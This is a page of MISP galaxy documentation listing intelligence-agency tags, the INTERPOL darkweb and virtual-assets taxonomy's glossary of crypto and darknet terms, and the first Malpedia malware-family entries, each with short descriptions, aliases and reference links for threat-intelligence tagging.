The tag is: *misp-galaxy:intelligence-agency="Dirección General de Contrainteligencia Militar"*

Table 2090. Table References

Links
https://en.wikipedia.org/wiki/Direcci%C3%B3n_General_de_Contrainteligencia_Militar

General Department of Military Intelligence

General Department of Defence Intelligence (GDDI)/General Department II - Tổng cục Tình báo Quốc phòng (TBQP)/Tổng cục II (TC2)

The tag is: *misp-galaxy:intelligence-agency="General Department of Military Intelligence"*

Table 2091. Table References

Links
https://en.wikipedia.org/wiki/General_Department_of_Military_Intelligence

Political Security Organization

Political Security Organization (PSO)

The tag is: *misp-galaxy:intelligence-agency="Political Security Organization"*

Table 2092. Table References

Links
https://en.wikipedia.org/wiki/Political_Security_Organization

National Security Bureau (Yemen)

National Security Bureau (NSB)

The tag is: *misp-galaxy:intelligence-agency="National Security Bureau (Yemen)"*

Table 2093. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Bureau_(Yemen)

Central Intelligence Organisation

Central Intelligence Organisation (CIO)

The tag is: *misp-galaxy:intelligence-agency="Central Intelligence Organisation"*

Table 2094. Table References

Links
https://en.wikipedia.org/wiki/Central_Intelligence_Organisation

Counter Terrorism Group

Counter Terrorism Group (CTG)

The tag is: *misp-galaxy:intelligence-agency="Counter Terrorism Group"*

Table 2095. Table References

Links
https://en.wikipedia.org/wiki/Counter_Terrorism_Group

European Union Military Staff

European Union Military Staff (EUMS)

The tag is: *misp-galaxy:intelligence-agency="European Union Military Staff"*

Table 2096. Table References

Links
https://en.wikipedia.org/wiki/European_Union_Military_Staff

European Union Satellite Centre

European Union Satellite Centre (EU SatCen)

The tag is: *misp-galaxy:intelligence-agency="European Union Satellite Centre"*

Table 2097. Table References

Links
https://en.wikipedia.org/wiki/European_Union_Satellite_Centre

Regional Anti-Terrorist Structure

Regional Anti-Terrorist Structure (RATS)

The tag is: *misp-galaxy:intelligence-agency="Regional Anti-Terrorist Structure"*

Table 2098. Table References

Links
https://en.wikipedia.org/wiki/Regional_Anti-Terrorist_Structure

INTERPOL DWVA Taxonomy

This taxonomy defines common forms of abuses and entities that represent real-world actors and service that are part of a larger Darknet- and Cryptoasset Ecosystems..

INTERPOL DWVA Taxonomy is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

INTERPOL Darkweb and Virtual Assets Working Group

Decentralized Apps

An application that does not rely on a central server but on several decentralized nodes. Each user can choose to be an active node serving the app.

The tag is: *misp-galaxy:dwva="Decentralized Apps"*

Hardware Wallet

A [hardware] cryptocurrency wallet is a device, physical medium, (...) which stores the private keys for cryptocurrency transactions. It will normally also contain the associated public keys.

The tag is: *misp-galaxy:dwva="Hardware Wallet"*

Distributed Hash Technology

A decentralized distributed system that provides sharing contact information, so people downloading the same file can discover each other. Both Tor and I2P use DHT. Due to the distributed nature of the hidden services domain resolution, it is possible to deploy nodes in the DHT to monitor requests coming from a given domain.

The tag is: *misp-galaxy:dwva="Distributed Hash Technology"*

Bitcoin

Bitcoin is a network protocol based on blockchain, introduced by Nakamoto [11] which allows payments and coin transfers to be made among participating entities. No trusted

The tag is: *misp-galaxy:dwva="Bitcoin"*

Counterfeit product

Counterfeit consumer goods are goods, often of inferior quality, made or sold under another's brand name without the brand owner's authorization.

The tag is: *misp-galaxy:dwva="Counterfeit product"*

Shop owner

A shop owner is an actor within the group of Criminal Actors; operating a DW shop.

The tag is: *misp-galaxy:dwva="Shop owner"*

Hierarchically Deterministic wallets

An HD (Hierarchical Deterministic) Wallet is a tree of private/public keypairs starting from a master seed. This technology provides both account management and identity masking. A user only needs to keep the master seeds because she can generate following keypairs from the root key deterministically, and each public key that can be exposed is changed for each transaction.

The tag is: *misp-galaxy:dwva="Hierarchically Deterministic wallets"*

Non Fungible Token

A non-fungible token (NFT) is a unit of data stored on a digital ledger, called a blockchain, that certifies a digital asset to be unique and therefore not interchangeable. NFTs can be used to represent items such as photos, videos, audio, and other types of digital files.

The tag is: *misp-galaxy:dwva="Non Fungible Token"*

Table 2099. Table References

Links
https://en.wikipedia.org/wiki/Non-fungible_token

Bulletproof Hosting

A (hosting) service that guarantees the availability of hosted resources even when they are found to be malicious or illegal.

The tag is: *misp-galaxy:dwva="Bulletproof Hosting"*

Darknet Wiki

Wiki services, including directory services for other hidden services, hosted in the Dark Web.

The tag is: *misp-galaxy:dwva="Darknet Wiki"*

Proof of Stake

In a Proof of Stake (PoS) network, users need to prove ownership of enough stakes to become validators. Ethereum (ETH) is moving from PoW to PoS. PoS offers several advantages over PoW: it is energy efficient, reduces hardware requirements and is less prone to centralisation

The tag is: *misp-galaxy:dwva="Proof of Stake"*

Multisig

Multisig refers to all the transactions that require two or more signatures. Multisignature transactions and addresses are validated only when at least x of the possible y signatories have

signed. x and y are defined at creation.

The tag is: *misp-galaxy:dwva="Multisig"*

Zcash

A cryptocurrency with a decentralized Blockchain that provides anonymity for its users and their transactions. It is similar to Bitcoin as an open-source, but their major differences are the increased level of privacy it provides.

The tag is: *misp-galaxy:dwva="Zcash"*

Finalize Early

Buyers may "finalize early" (FE), releasing funds from escrow to the vendor prior to receiving their goods in order to expedite a transaction. This can be done when there is a trust relationship between vendor and buyer, however it does leave the buyer vulnerable to fraud if they choose to do so.

The tag is: *misp-galaxy:dwva="Finalize Early"*

Coin swapping

CoinSwap is a protocol to make a transaction via a third party to obfuscate the money flow. For instance, when Alice would like to pay Bob, Carol offers to receive Alice's coin and pay Bob with an unconnected coin. While none of these parties trusts each other, this protocol does not allow Carol to rob Alice's coin.

The tag is: *misp-galaxy:dwva="Coin swapping"*

Ripple

Ripple is a real-time gross settlement system, currency exchange and remittance network created by Ripple Labs Inc., a US-based technology company. (...) The ledger employs the native cryptocurrency known as XRP.

The tag is: *misp-galaxy:dwva="Ripple"*

Vendor

Someone who is selling something.

The tag is: *misp-galaxy:dwva="Vendor"*

Table 2100. Table References

Links
https://dictionary.cambridge.org/dictionary/english/vendor

Initial Coin Offering / Initial Crypto-Tokens Offering

Initial Coin Offerings (ICO) are public offers of new cryptocurrencies in exchange of existing ones, aimed to finance projects in the blockchain development arena. The typical pattern is for a startup to produce a white paper that describes their business model and technical approach. The white paper includes details about the functions that the tokens issued during the ICO will perform and the process of token creation.

The tag is: *misp-galaxy:dwva="Initial Coin Offering / Initial Crypto-Tokens Offering"*

Layer 2

Layer 2 is a collective term for solutions designed to help scale decentralised applications by handling transactions off the Ethereum mainnet (layer 1), while taking advantage of the robust decentralized security model of mainnet.

The tag is: *misp-galaxy:dwva="Layer 2"*

Table 2101. Table References

Links
https://ethereum.org/en/developers/docs/scaling/layer-2-rollups

Virtual Asset Service Provider

Virtual asset service provider means any natural or legal person who (...) as a business conducts one or more of the following activities or operations for or on behalf of another natural or legal person: i) exchange between virtual assets and fiat currencies; ii) exchange between one or more forms of virtual assets; iii) transfer of virtual assets; iv) safekeeping and/or administration of virtual assets or instruments enabling control over virtual assets; and v) participation in and provision of financial services related to an issuer's offer and/or sale of a virtual asset.

The tag is: *misp-galaxy:dwva="Virtual Asset Service Provider"*

Decentralized Exchange

Same as exchange but in a completely distributed environment. There is no central hosting server and all nodes are servers.

The tag is: *misp-galaxy:dwva="Decentralized Exchange"*

Metadata

Refers to data that provides information about a certain item's content. For example, an image may include information that describes how large the picture is or when the image was created, while a text document may contain information about the author of the document, or the IP address of the document's author, and so on.

The tag is: *misp-galaxy:dwva="Metadata"*

Exit scam

An exit scam can be performed by a dark net martket or single vendor shop and is the process in which the one or more of the market admins prevents users withdrawing funds through the escrow system and then closes the market, exiting with all the bitcoins and other digital currencies they were holding in escrow.

The tag is: *misp-galaxy:dwva="Exit scam"*

Smart contract

A smart contract is a self-executing contract with the terms of the agreement between buyer and seller being directly written into lines of code. The code and the agreements contained therein exist across a distributed, decentralized blockchain network. The code controls the execution, and transactions are trackable and irreversible.

The tag is: *misp-galaxy:dwva="Smart contract"*

Service Provider

An actor that provides a service by making available and managing infrastructure or by executing a process

The tag is: *misp-galaxy:dwva="Service Provider"*

Administrator

An actor whose job it is to supervise the technical operation of a service

The tag is: *misp-galaxy:dwva="Administrator"*

Virtual Asset

A virtual asset is a digital representation of value that can be digitally traded, or transferred, and can be used for payment or investment purposes. Virtual assets do not include digital representations of fiat currencies, securities and other financial assets that are already covered elsewhere in the FATF Recommendations.

The tag is: *misp-galaxy:dwva="Virtual Asset "*

Darknet Forum

Forum services hosted in the Dark Web.

The tag is: *misp-galaxy:dwva="Darknet Forum"*

Shop

A shop is a service where products from one actor (the shop owner) are traded.

The tag is: *misp-galaxy:dwva="Shop"*

Hosted wallet

A digital account hosted by third party financial institution, known as Virtual Asset Service Provider(VASP), which allows the account-holder (the user) to store, send, and receive cryptocurrency.

The tag is: *misp-galaxy:dwva="Hosted wallet"*

Table 2102. Table References

Links
https://home.treasury.gov/system/files/136/2020-12-18-FAQs.pdf

.Onion

A special-use top level domain name designating an anonymous onion service, which was formerly known as a "hidden service". It is referred to as that because of the “layered” approach to relays on the Tor Browser.

The tag is: *misp-galaxy:dwva=".Onion"*

Bridge

Blockchain bridges enable interoperability between vastly different networks, such as Bitcoin and Ethereum, and between one parent blockchain and its sidechains.

The tag is: *misp-galaxy:dwva="Bridge"*

Table 2103. Table References

Links
https://blog.makerdao.com/what-are-blockchain-bridges-and-why-are-they-important-for-defi/

Unhosted wallet

A wallet that is not hosted by a third-party financial system. It can be very difficult or impossible to determine who is accessing or in control of the use of cryptocurrencies in an unhosted wallet. Unhosted wallets allow for anonymity and concealment of illicit financial activity.

The tag is: *misp-galaxy:dwva="Unhosted wallet"*

Table 2104. Table References

Links
https://home.treasury.gov/system/files/136/2020-12-18-FAQs.pdf

Drop Ship

A vending tactic involving the vendor passing the buyer's address on to another vendor to ship to, eliminating any need for the middleman (dropshipper) to handle anything illegal in person.

The tag is: *misp-galaxy:dwva="Drop Ship"*

Table 2105. Table References

Links
DNM Bible Glossary[DNM Bible Glossary]

Sidechain

A sidechain is a side blockchain that is linked to another blockchain, referred to as the main chain, via a two-way peg.

The tag is: *misp-galaxy:dwva="Sidechain"*

Table 2106. Table References

Links
https://coinmarketcap.com/alexandria/glossary/side-chain

Flash Loan

A cryptocurrency loan executed trough a smart contract, with no collateral, that must be paid back in the same block. The purpose of a flash loan is to gain money through arbitrage (on different exchanges or different assets) without providing any collateral.

The tag is: *misp-galaxy:dwva="Flash Loan"*

Table 2107. Table References

Links
https://www.coindesk.com/what-is-a-flash-loan

Escrow

An escrow is a contractual arrangement in which a third party (the stakeholder or escrow agent) receives and disburses money or property for the primary transacting parties, with the disbursement dependent on conditions agreed to by the transacting parties.

The tag is: *misp-galaxy:dwva="Escrow"*

Proof of Work

Bitcoin blockchain is constructed and validated by computation. Miners work to validate the blockchain with their computation power, proving their work for a reward. The Bitcoin Blockchain is based on Proof-of-Work.

The tag is: *misp-galaxy:dwva="Proof of Work"*

Tumbler

A method of scrambling or anonymizing the source of one's cryptocurrencies.

The tag is: *misp-galaxy:dwva="Tumbler"*

Unspent Transaction Output

An unspent transaction output of cryptocurrencies. This output is considered as an input to new transaction.

The tag is: *misp-galaxy:dwva="Unspent Transaction Output"*

Crypto-assets

A crypto-asset (...) is a digital asset designed to work as a medium of exchange wherein individual coin ownership records are stored in a ledger existing in a form of a computerized database using strong cryptography to secure transaction records, to control the creation of additional coins, and to verify the transfer of coin ownership.

The tag is: *misp-galaxy:dwva="Crypto-assets"*

Bitcoin cash

Bitcoin Cash is a cryptocurrency that is a fork of Bitcoin. Bitcoin Cash is a spin-off or altcoin that was created in 2017.

The tag is: *misp-galaxy:dwva="Bitcoin cash"*

FIAT currencies

Fiat money is a currency (a medium of exchange) established as money, often by government regulation. Fiat money does not have intrinsic value and does not have use value. It has value only because a government maintains its value, or because parties engaging in exchange agree on its value.

The tag is: *misp-galaxy:dwva="FIAT currencies"*

Crypto ATM

A Bitcoin ATM (Automated Teller Machine) is a kiosk that allows a person to purchase Bitcoin and other cryptocurrencies by using cash or debit card. Some types of ATM also allow users to sell their cryptocurrency, dispensing cash in payment. Depending on the provider, the ATM can require KYC verification.

The tag is: *misp-galaxy:dwva="Crypto ATM"*

Ethereum

Ethereum is a decentralized, open-source blockchain with smart contract functionality. Ether (ETH) is the native cryptocurrency of the platform. It is the second-largest cryptocurrency by market capitalization, after Bitcoin. Ethereum is the most actively used blockchain.

The tag is: *misp-galaxy:dwva="Ethereum"*

Yield farming

A process that lets you earn either fixed or variable interest by investing crypto in a DeFi market.

The tag is: *misp-galaxy:dwva="Yield farming"*

Table 2108. Table References

Links
https://decrypt.co/resources/what-is-yield-farming-beginners-guide

Invisible Internet Protocol

An “anonymous overlay network” using the garlic routing protocol that encrypts multiple messages together to make data traffic analysis difficult, while simultaneously increasing network traffic speed. Each encrypted message has its own specific delivery instruction, and each endpoint works as a cryptographic identifier or what we refer to as “keys.” Since I2P is entirely peer-to-peer in structure, there’s no hard-coded trusted set of directory stores. Instead, the network directory of I2P is netDb, a distributed database that is replicated across the network.

The tag is: *misp-galaxy:dwva="Invisible Internet Protocol"*

Regulator

Authority that defines (national) regulations

The tag is: *misp-galaxy:dwva="Regulator"*

Hidden Service

A collective name used to describe websites which require a special browser in order to access.

The tag is: *misp-galaxy:dwva="Hidden Service"*

Relay (node)

A relay is a node in the Tor network. When a request to access a particular hidden service is made, the browser calculates the optimal route through a series of relays, exchanging cryptographic keys between nodes, to display the content without disclosing the IP address of the request originator. Each relay decrypts a layer of encryption to reveal the next relay in the circuit to pass the remaining encrypted data on to it. The final relay decrypts the innermost layer of encryption and sends the original data to its destination without revealing or knowing the source IP address.

The tag is: *misp-galaxy:dwva="Relay (node)"*

Bitcoin Improvement Proposals

Bitcoin improvement proposals, these are the equivalent of RFCs. They define the protocols and structures of Bitcoin. They are developed and maintained at the Bitcoin Github.

The tag is: *misp-galaxy:dwva="Bitcoin Improvement Proposals"*

Decentralized Finances

Smart Contracts on blockchains, DApps, mainly via the Ethereum technology and network. They are used to provide traditional financial services. The technology provides strong immunity against attackers and some level of anonymity and privacy. Transactions are confirmed relatively fast, but mostly lack KYC and AML compliance controls and offer limited to no user support and customer care. Current DeFi innovations include: Lending platforms; Prediction markets; Decentralised Exchange (DEXs); Staking and pooling platforms.

The tag is: *misp-galaxy:dwva="Decentralized Finances"*

Customer

The end user of a service. Customer would be paying for the services (buying good, using a service, owning an asset…).

The tag is: *misp-galaxy:dwva="Customer"*

Litecoin

Litecoin (LTC or Ł) is a peer-to-peer cryptocurrency and open-source software project released under the MIT/X11 license. Litecoin was an early bitcoin spinoff or altcoin, starting in October 2011. In technical details, Litecoin is nearly identical to Bitcoin.

The tag is: *misp-galaxy:dwva="Litecoin"*

Cyberterrorist

Cyberterrorism is the use of the Internet to conduct violent acts that result in, or threaten, loss of life or significant bodily harm, in order to achieve political or ideological gains through threat or intimidation.

The tag is: *misp-galaxy:dwva="Cyberterrorist"*

Tether

Tether is a controversial cryptocurrency with tokens issued by Tether Limited. It formerly falsely claimed that each token was backed by one United States dollar, but on 14 March 2019 changed the backing to include loans to affiliate companies.

The tag is: *misp-galaxy:dwva="Tether"*

Bank

A bank is a financial institution that accepts deposits from the public and creates a demand deposit while simultaneously making loans.

The tag is: *misp-galaxy:dwva="Bank"*

Monero

An open-source cryptocurrency created in April 2014 that focuses on fungibility, privacy and decentralization. Monero (XMR) uses an obfuscated public ledger, meaning anybody can broadcast or send transactions, but no outside observer can tell the source, amount or destination.

The tag is: *misp-galaxy:dwva="Monero"*

Binance Coin

BNB powers the Binance Ecosystem. As the native coin of Binance Chain, BNB has multiple use cases: fueling transactions on the Chain, paying for transaction fees on Binance Exchange, making in-store payments, and many more.

The tag is: *misp-galaxy:dwva="Binance Coin"*

Invisible Internet protocol network

A type of anonymity network similar to Tor, based on the Invisible Internet Project protocol.

The tag is: *misp-galaxy:dwva="Invisible Internet protocol network"*

Darknet market

A darknet market is a commercial website on the web that operates via darknets such as Tor or I2P. They function primarily as black markets, selling or brokering transactions involving drugs, cyber-arms, weapons, counterfeit currency, stolen credit card details, forged documents, unlicensed pharmaceuticals, steroids, and other illicit goods as well as the sale of legal products.

The tag is: *misp-galaxy:dwva="Darknet market"*

Pretty Good Privacy

An abbreviation for Pretty Good Privacy, an encryption program popular for encrypting emails and files. Through the use of public and private keys, it allows users who have never met to send encrypted messages etc. to each other without exchanging private encryption keys.

The tag is: *misp-galaxy:dwva="Pretty Good Privacy"*

Takedown notice

Notice and take down is a process operated by online hosts in response to court orders or allegations that content is illegal. Content is removed by the host following notice.

The tag is: *misp-galaxy:dwva="Takedown notice"*

Victim

Someone or something that has been hurt, damaged, or killed or has suffered, either because of the actions of someone or something else, or because of illness or chance.

The tag is: *misp-galaxy:dwva="Victim"*

Table 2109. Table References

Links
https://dictionary.cambridge.org/dictionary/english/victim

Polkadot

Polkadot is a heterogeneous multi-chain interchange and translation architecture which enables customised side-chains to connect with public blockchains.

The tag is: *misp-galaxy:dwva="Polkadot"*

Bank credentials

Login credentials for e-services that are provided by financial institutions with a bank license.

The tag is: *misp-galaxy:dwva="Bank credentials"*

Money mule

A money mule, sometimes called a "smurfer," is a person who transfers money acquired illegally in person, through a courier service, or electronically, on behalf of others. Typically, the mule is paid for services with a small part of the money transferred.

The tag is: *misp-galaxy:dwva="Money mule"*

Internet Relay Chat

A text-based chat service enabling users connected to a server to communicate with each other in real-time.

The tag is: *misp-galaxy:dwva="Internet Relay Chat"*

Software wallet

A [software] cryptocurrency wallet is a (...) program or a service which stores the private keys for cryptocurrency transactions. It will normally also contain the associated public keys.

The tag is: *misp-galaxy:dwva="Software wallet"*

Cardano

Cardano is a public blockchain platform. It is open source and decentralized, with consensus achieved using proof of stake. It can facilitate peer-to-peer transactions with its internal cryptocurrency Ada.

The tag is: *misp-galaxy:dwva="Cardano"*

Dogecoin

Dogecoin (code: DOGE, symbol: Đ) is a cryptocurrency created by software engineers Billy Markus and Jackson Palmer, who decided to create a payment system that is instant, fun, and free from traditional banking fees.

The tag is: *misp-galaxy:dwva="Dogecoin"*

Exchange

Trading platform (commonly referred to as an “Exchange”) is the term within this paper used to describe any venue which facilitates the exchange of tokens for any form of money or asset. Trading platforms provide services to buy and sell tokens and/or for exchange of national (fiat) currencies backed by central banks.

The tag is: *misp-galaxy:dwva="Exchange"*

Blockchain

Blockchain is a distributed technology built under peer-to-peer network principles and cryptographic primitives, such as asymmetric encryption and digital signature. It allows trust-less users to exchange information and record transactions without external interference and coordination.

The tag is: *misp-galaxy:dwva="Blockchain"*

Darknet Email Service

Messaging services hosted or accessible via privacy enhanced networks.

The tag is: *misp-galaxy:dwva="Darknet Email Service"*

Credentials

A credential is a piece of any document that details a qualification, competence, or authority issued to an individual by a third party with a relevant or de facto authority or assumed competence to do so.

The tag is: *misp-galaxy:dwva="Credentials"*

Rug pull

A rug pull is a malicious maneuver in the cryptocurrency industry where crypto developers abandon a project and run away with investors' funds

The tag is: *misp-galaxy:dwva="Rug pull"*

Table 2110. Table References

Links
https://coinmarketcap.com/alexandria/glossary/rug-pull

Moderator

A person who manages the discussion contributions in an online forum.

The tag is: *misp-galaxy:dwva="Moderator"*

TOR Network

A network of routers that adds encryption to conceal a web user's location and usage so that these are resistant to surveillance and hence are truly anonymous. The domain names of these hidden sites all end in '.onion' and they are only accessible by using a Tor browser. Tor stands for 'The Onion Router'.

The tag is: *misp-galaxy:dwva="TOR Network"*

ZeroNet

One of the newest Darknets, becoming increasingly popular. It is a combination of trackerless Bittorrent and a Blockchain for persistent site and user identity. ZeroNet optionally uses the Tor network as a virtual private network. As a full mesh network, all clients are also servers. By browsing to a “zite” as they are known in ZeroNet lingo, the machine used automatically becomes one of the servers for this zite also.

The tag is: *misp-galaxy:dwva="ZeroNet"*

Dead drop

The dead drop is a delivery model used by some vendors to distribute their products. A vendor uses a ‘dropman’ to hide consignments of pre-packaged drug deals in a number of suitably discreet offline locations. When a buyer makes a purchase from the vendor the geo-coordinates are provided to them for them to collect their order.

The tag is: *misp-galaxy:dwva="Dead drop"*

Coinjoin

Coinjoin is a method of mixing cryptocurrency tokens or coins, where two or more user transactions are combined into a single transaction on the blockchain, with multiple inputs and outputs. The concept behind that methodology is to obfuscate the link between an input and an output that would otherwise be apparent in a standard, single-user transaction. The coinjoin methodology is open-source and integrated into some software wallets, and is also available for use via a hosted online service.

The tag is: *misp-galaxy:dwva="Coinjoin"*

Paste site/service

A pastebin or text storage site is a type of online content hosting service where users can store plain text, e.g. to source code snippets for code review via Internet Relay Chat (IRC).

The tag is: *misp-galaxy:dwva="Paste site/service"*

Deep Web

The deep web, invisible web, or hidden web are parts of the World Wide Web whose contents are not indexed by standard web search-engines.

The tag is: *misp-galaxy:dwva="Deep Web"*

Cryptocurrencies User

(User of) Decentralized virtual currency that employs cryptography to accomplish tamper-resistance.

The tag is: *misp-galaxy:dwva="Cryptocurrencies User"*

Flash loan attack

An attack to a DeFi protocol that exploits vulnerabilities in the flash loan system

The tag is: *misp-galaxy:dwva="Flash loan attack"*

Privacy coin

Privacy coins are a class of cryptocurrencies that power private and anonymous blockchain transactions by obscuring their origin and destination. Some of the techniques used include hiding a user's real wallet balance and address, and mixing multiple transactions with each other to elude chain analysis.

The tag is: *misp-galaxy:dwva="Privacy coin"*

Peer-to-peer exchange

The exchange or sharing of information, data, or assets between parties without the involvement of a central authority. Peer-to-peer, or P2P, takes a decentralized approach to interactions between individuals and groups. This approach has been used in computers and networking (peer-to-peer file sharing), as well as with virtual assets trading.

The tag is: *misp-galaxy:dwva="Peer-to-peer exchange"*

Proxy

A virtual service that changes users' IP addresses when using the Internet.

The tag is: *misp-galaxy:dwva="Proxy"*

Scam

Scam denotes a fraudulent or deceptive act or operation.

The tag is: *misp-galaxy:dwva="Scam"*

Table 2111. Table References

Links
https://www.merriam-webster.com/dictionary/scam

Sextortion

Sextortion refers to the broad category of sexual exploitation in which abuse of power is the means of coercion, as well as to the category of sexual exploitation in which threatened release of sexual images or information is the means of coercion.

The tag is: *misp-galaxy:dwva="Sextortion"*

Table 2112. Table References

Links
https://en.wikipedia.org/wiki/Sextortion

Phishing

Phishing is the fraudulent attempt to obtain sensitive information such as usernames, passwords and credit card details by disguising oneself as a trustworthy entity in an electronic communication.

The tag is: *misp-galaxy:dwva="Phishing"*

Table 2113. Table References

Links
https://en.wikipedia.org/wiki/Phishing

Service Hack

A service hack denotes the digital intrusion into a service with the goal to steal funds.

The tag is: *misp-galaxy:dwva="Service Hack"*

Ransomware

Ransomware is a type of malware from cryptovirology that threatens to publish the victim's data or perpetually block access to it unless a ransom is paid.

The tag is: *misp-galaxy:dwva="Ransomware"*

Table 2114. Table References

Links
https://en.wikipedia.org/wiki/Ransomware

Ponzi Scheme

A Ponzi scheme is a form of fraud that lures investors and pays profits to earlier investors with funds from more recent investors

The tag is: *misp-galaxy:dwva="Ponzi Scheme"*

Table 2115. Table References

Links
https://en.wikipedia.org/wiki/Ponzi_scheme

Malpedia

Malware galaxy cluster based on Malpedia..

Malpedia is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Davide Arcuri - Alexandre Dulaunoy - Steffen Enders - Andrea Garavaglia - Andras Iklody - Daniel Plohmann - Christophe Vandeplas

FastCash

The tag is: *misp-galaxy:malpedia="FastCash"*

FastCash is also known as:

Table 2116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash
https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf
https://www.us-cert.gov/ncas/alerts/TA18-275A
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf
https://github.com/fboldewin/FastCashMalwareDissected/
https://www.cisa.gov/uscert/ncas/alerts/aa20-239a
https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf
https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware

https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.youtube.com/watch?v=zGvQPtejX9w
https://www.cisa.gov/uscert/ncas/alerts/TA18-275A
https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf
https://doubleagent.net/fastcash-for-linux/

888 RAT

The tag is: *misp-galaxy:malpedia="888 RAT"*

888 RAT is also known as:

Table 2117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.888_rat
https://www.welivesecurity.com/2021/09/07/bladehawk-android-espionage-kurdish/

Aberebot

The tag is: *misp-galaxy:malpedia="Aberebot"*

Aberebot is also known as:

- Escobar

Table 2118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot
https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes
https://twitter.com/*icebre4ker*/status/1460527428544176128
https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/
https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/
https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

AbstractEmu

According to PCrisk, AbstractEmu is the name of rooting malware that can gain privileged access to

the Android operating system. Threat actors behind AbstractEmu are using legitimate-looking apps (like password managers, app launchers, data savers) to trick users into downloading and opening/executing this malware.

The tag is: *misp-galaxy:malpedia="AbstractEmu"*

AbstractEmu is also known as:

Table 2119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu
https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign

ActionSpy

The tag is: *misp-galaxy:malpedia="ActionSpy"*

ActionSpy is also known as:

- AxeSpy

Table 2120. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy
https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/
https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html

AdoBot

The tag is: *misp-galaxy:malpedia="AdoBot"*

AdoBot is also known as:

Table 2121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.adobot
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://twitter.com/LukasStefanko/status/1243198756981559296

AdultSwine

The tag is: *misp-galaxy:malpedia="AdultSwine"*

AdultSwine is also known as:

Table 2122. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.adultswine
https://research.checkpoint.com/malware-displaying-porn-ads-discovered-in-game-apps-on-google-play/

Agent Smith

The tag is: *misp-galaxy:malpedia="Agent Smith"*

Agent Smith is also known as:

Table 2123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.agentsmith
https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/

AhMyth

According to PCrisk, Ahmyth is a Remote Access Trojan (RAT) targeting Android users. It is distributed via trojanized (fake) applications. Ahmyth RAT steals cryptocurrency and banking credentials, 2FA codes, lock screen passcodes, and captures screenshots.

The tag is: *misp-galaxy:malpedia="AhMyth"*

AhMyth is also known as:

Table 2124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ahmyth
https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/
https://www.secrss.com/articles/24995
https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w
https://deform.co/hacker-group-caracal-kitten-targets-kdp-activists-with-malware/

https://securelist.com/transparent-tribe-part-2/98233/
https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset

Alien

According to ThreatFabric, this is a fork of Cerberus v1 (active January 2020+). Alien is a rented banking trojan that can remotely control a phone and achieves RAT functionality by abusing TeamViewer.

The tag is: *misp-galaxy:malpedia="Alien"*

Alien is also known as:

- AlienBot

Table 2125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.alien
https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/
https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace
https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf
https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/
https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets
https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/
https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/
https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html
https://twitter.com/*CPResearch*/status/1603375823448317953
https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html
https://muha2xmad.github.io/malware-analysis/alien/
